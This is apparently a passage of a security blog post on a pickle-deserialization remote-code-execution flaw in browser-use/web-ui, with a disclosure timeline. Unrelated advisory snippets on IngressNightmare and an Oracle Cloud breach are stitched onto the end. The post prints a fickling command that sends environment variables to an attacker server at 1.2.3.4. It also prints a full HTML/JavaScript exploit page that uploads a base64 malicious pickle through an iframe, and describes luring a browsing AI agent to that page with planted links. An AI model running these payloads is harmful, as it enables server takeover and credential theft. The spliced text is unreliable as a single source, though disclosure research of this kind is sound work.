fickling --inject "os.system('env | curl -XPOST http://1.2.3.4:3000 --data-binary @-')" default.pkl > malicious.pklHere, for example, this produces a malicious file named malicious.pkl that, when loaded, exfiltrates the environment variables to an attacker-controlled server at 1.2.3.4 by running the following command:
env | curl -XPOST http://1.2.3.4:3000 --data-binary @-An attacker can then simply load this file through the web-ui Configuration tab so that the malicious code gets executed and the environment variables are leaked to the attacker. Of course, an attacker could run any arbitrary code here and take over the server that runs web-ui.
As seen above, there are a few dozen publicly available instances of web-ui, but this is just the tip of the iceberg. The web-ui Github repository has 12k stars and the browser-use repository has over 50k stars, so there must be many more instances running privately, that are not directly accessible from the internet. So, an attacker couldn’t connect to the web application and upload a malicious file to those private instances.
But if somehow this became possible, it would be even worse if one could exploit those privately running instances. Well, there’s actually another way these instances could be exploited.
To understand how, let’s have a look at the Browser settings tab.
By default, browser security features are disabled. In practice, this means that browser-use runs an instance of the chromium web browser with those added command line flags:
chromium \
--disable-web-security \
--disable-site-isolation-trials \
--disable-features=IsolateOrigins,site-per-processThis is insecure because it opens the door for an attacker to upload a malicious pickle file to the web-ui settings from another web page.
Indeed, consider the following scenario. An attacker builds a malicious web page that opens the web-ui web application, running at http://localhost:7788 by default, in an iframe and uses Javascript to control that iframe so that a hardcoded malicious pickle file gets uploaded through the web-ui Configuration tab inside of that iframe. This malicious web page would look like this:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Iframe File Upload</title>
</head>
<body>
<iframe id="myIframe" src="http://localhost:7788" width="1280" height="700" style="border: 1px solid black;"></iframe>
<script>
const filename = 'config.pkl';
const base64String = `gASVJAIAAAAAAABjYnVpbHRpbnMKZXZhbAoojENvcy5zeXN0ZW0oJ2VudiB8IGN1cmwgLVhQT1NU
IGh0dHA6Ly8xLjIuMy40OjMwMDAgLS1kYXRhLWJpbmFyeSBALScpdFJ9lCiMCmFnZW50X3R5cGWU
jAZjdXN0b22UjAltYXhfc3RlcHOUS2SMFG1heF9hY3Rpb25zX3Blcl9zdGVwlEsKjAp1c2Vfdmlz
aW9ulIiME3Rvb2xfY2FsbGluZ19tZXRob2SUjARhdXRvlIwMbGxtX3Byb3ZpZGVylIwGb3BlbmFp
lIwObGxtX21vZGVsX25hbWWUjAZncHQtNG+UjA9sbG1fdGVtcGVyYXR1cmWURz/wAAAAAAAAjAxs
bG1fYmFzZV91cmyUjACUjAtsbG1fYXBpX2tleZRoDowPdXNlX293bl9icm93c2VylImMEWtlZXBf
YnJvd3Nlcl9vcGVulImMCGhlYWRsZXNzlImMEGRpc2FibGVfc2VjdXJpdHmUiIwQZW5hYmxlX3Jl
Y29yZGluZ5SIjAh3aW5kb3dfd5RNAAWMCHdpbmRvd19olE1MBIwTc2F2ZV9yZWNvcmRpbmdfcGF0
aJSMEy4vdG1wL3JlY29yZF92aWRlb3OUjA9zYXZlX3RyYWNlX3BhdGiUjAwuL3RtcC90cmFjZXOU
jBdzYXZlX2FnZW50X2hpc3RvcnlfcGF0aJSMEy4vdG1wL2FnZW50X2hpc3RvcnmUjAR0YXNrlIxJ
Z28gdG8gZ29vZ2xlLmNvbSBhbmQgdHlwZSAnT3BlbkFJJyBjbGljayBzZWFyY2ggYW5kIGdpdmUg
bWUgdGhlIGZpcnN0IHVybJR1cDMyMTk4NwowMGczMjE5ODcKLg==`;
function base64ToFile(base64String, fileName, mimeType = 'application/octet-stream', iframe) {
// Decode the Base64 string into binary data
const byteCharacters = atob(base64String);
const byteNumbers = new Array(byteCharacters.length);
for (let i = 0; i < byteCharacters.length; i++) {
byteNumbers[i] = byteCharacters.charCodeAt(i);
}
// Create a Uint8Array from the binary data
const byteArray = new Uint8Array(byteNumbers);
// Create and return a File object
return new iframe.contentWindow.File([byteArray], fileName, {type: mimeType});
}
function delayedPoc() {
setTimeout(() => {
poc()
}, 1000);
}
function poc() {
const iframe = document.getElementById("myIframe");
const iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
// Ensure the iframe is loaded
if (iframeDocument) {
const fileInput = iframeDocument.querySelector("[data-testid='file-upload']");
setTimeout(() => {
if (fileInput) {
const file = base64ToFile(base64String, filename, '', iframe);
const dataTransfer = new iframe.contentWindow.DataTransfer();
dataTransfer.items.add(file);
fileInput.files = dataTransfer.files; // Assign the file to the input
// Trigger a change event to simulate file selection
const event = new DragEvent("drop", {dataTransfer: dataTransfer});
console.log(event);
// dispatch event on button above
hiddenButtton = fileInput.parentElement;
hiddenButtton.dispatchEvent(event);
} else {
console.error("File input element not found in the iframe.");
}
}, 1000);
// load the config from the uploaded file
setTimeout(() => {
const buttons = iframeDocument.evaluate("//button[text()='Load Existing Config From File']", iframeDocument);
const loadButton = buttons.iterateNext();
console.log(loadButton);
loadButton.click();
}, 2500);
} else {
console.error("Unable to access iframe document.");
}
}
document.addEventListener("DOMContentLoaded", delayedPoc);
</script>
</body>
</html>Then, the attacker publicly hosts this malicious web page somewhere on the internet. Next, the attacker plants links to this malicious page on various popular websites, such as StackOverflow or Reddit.
A regular user of browser-use/web-ui could ask the agent to perform a genuine operation such as the following:
“Find a solution to problem XYZ, use Reddit and StackOverflow and return the answer”.
Web-ui could browse a web page that contains a link to the attacker’s malicious web page and click on that link, which would load the malicious page and upload the malicious pickle file, therefore exploiting the the web-ui instance even though it is not internet-facing.
The affected line of code is located at: https://github.com/browser-use/web-ui/blob/4dbf564e8573d37cfaf24f3b2faa68f3cff2859c/src/utils/default_config_settings.py#L39
To fix this vulnerability, one can switch away from using pickle and use another serialization format, such as JSON to store the web-ui settings.
The browser-use/web-ui Github repository contained a SECURITY.md file with instructions on how to report vulnerabilities but the link it contained was broken. The repository apparently had vulnerability reports disabled. Since the web-ui project was in the same organization as the main browser-use/browser-use repository, we responsibly reported this vulnerability to the browser-use authors on February 21st through the browser-use/browser-use repository instead. If it’s under the same organization, developers should care about it, right?
We didn’t get a reply after 2 weeks, so we privately messaged the two co-founders of browser-use on X on March 7. After another week, we still had no response either.
On March 14th, we tried again and posted a comment on the Github vulnerability report, while @mentioning the 2 co-founders so that they hopefully receive an email. Still no response.
We avoided to publicly reach out yet, because that may have alerted malicious actors and the vulnerability could have been found easily using a simple static analyzer. Also, only a month had passed at the time. We moved on to research vulnerabilities in other targets, while waiting for a response.
In April, I noticed that a friend of mine starred the browser-use repository, and as I was about to tell him to be careful with that project because the web-ui service was vulnerable, I figured I’d first check again if anything had changed or if we had received any response. This is when I noticed that another researcher had publicly opened a Github issue in the web-ui repository on March 27th, asking how to submit a vulnerability report. This was a month after we first privately reported the issue. Two days later, on March 29th, a developer confirmed, in the same Github issue, that the security vulnerability had been fixed. They also pushed a new release on the same day. This left the web-ui repository unpatched with the information that a vulnerability was present in the repository publicly available for 2 whole days. This is what we were trying to avoid.
Our original vulnerability report remains unanswered and ignored at this time. Now that the vulnerability has been patched, we decided to release this blog post.
Wiz Research has uncovered multiple critical unauthenticated remote code execution (RCE) vulnerabilities in theIngress NGINX Controller for Kubernetes, collectively known as IngressNightmare. These vulnerabilities enable attackers to execute arbitrary commands within the Ingress NGINX Controller’s pod without requiring authentication. As a result, they may gain unauthorized access to all secrets stored across namespaces in the Kubernetes cluster, ultimately leading to a full cluster compromise. Exploitation of these flaws poses severe security risks, including lateral movement within the environment and data exfiltration. The identified vulnerabilities include:
Ingress NGINX Controller versions prior to 1.12.1 and 1.11.5 are vulnerable.
Each of the identified vulnerabilities presents a unique risk to Kubernetes environments:
The CFC will continue to monitor the situation and send an advisory update if needed. Immediate action is required to mitigate potential exploitation by applying patches, restricting access, and enhancing security monitoring.Organizations should prioritize these measures to safeguard their cloud environments against potential threats.
Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.
On March 21, security threat intel vendor CloudSEK published a report on a forum post from a threat actor claiming to have exfiltrated around 6 million records from Oracle Cloud SSO and LDAP, made the previous day. Included in the dumped data are JKS (Java Keystore) files, encrypted SSO passwords, key files, and enterprise manager JPS keys. CloudSEK’s communication with the threat actor suggests a possible undisclosed vulnerability affecting Oracle Cloud login infrastructure.
While it is currently unknown whether a vulnerability was exploited, this appears to have been the case. According to CloudSEK:
“it can be ascertained with medium con dence that the threat actor used an undisclosed vulnerability on Oracle WebLogic servers used for hosting the login pages for oraclecloud.com. By exploiting login endpoints for all regions, the threat actor was subsequently able to dump data pertaining to the underlying tenants.”
Affected organizations should change all SSO, LDAP, and associated credentials. Ensure passwords are strong and MFA is enforced. Additionally, report the issue to Oracle for verification of a possible zero-day and seek further mitigation.
The CFC will continue to monitor the situation and send an advisory update if needed. If this breach is found to have been due to a yet-undisclosed vulnerability, clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.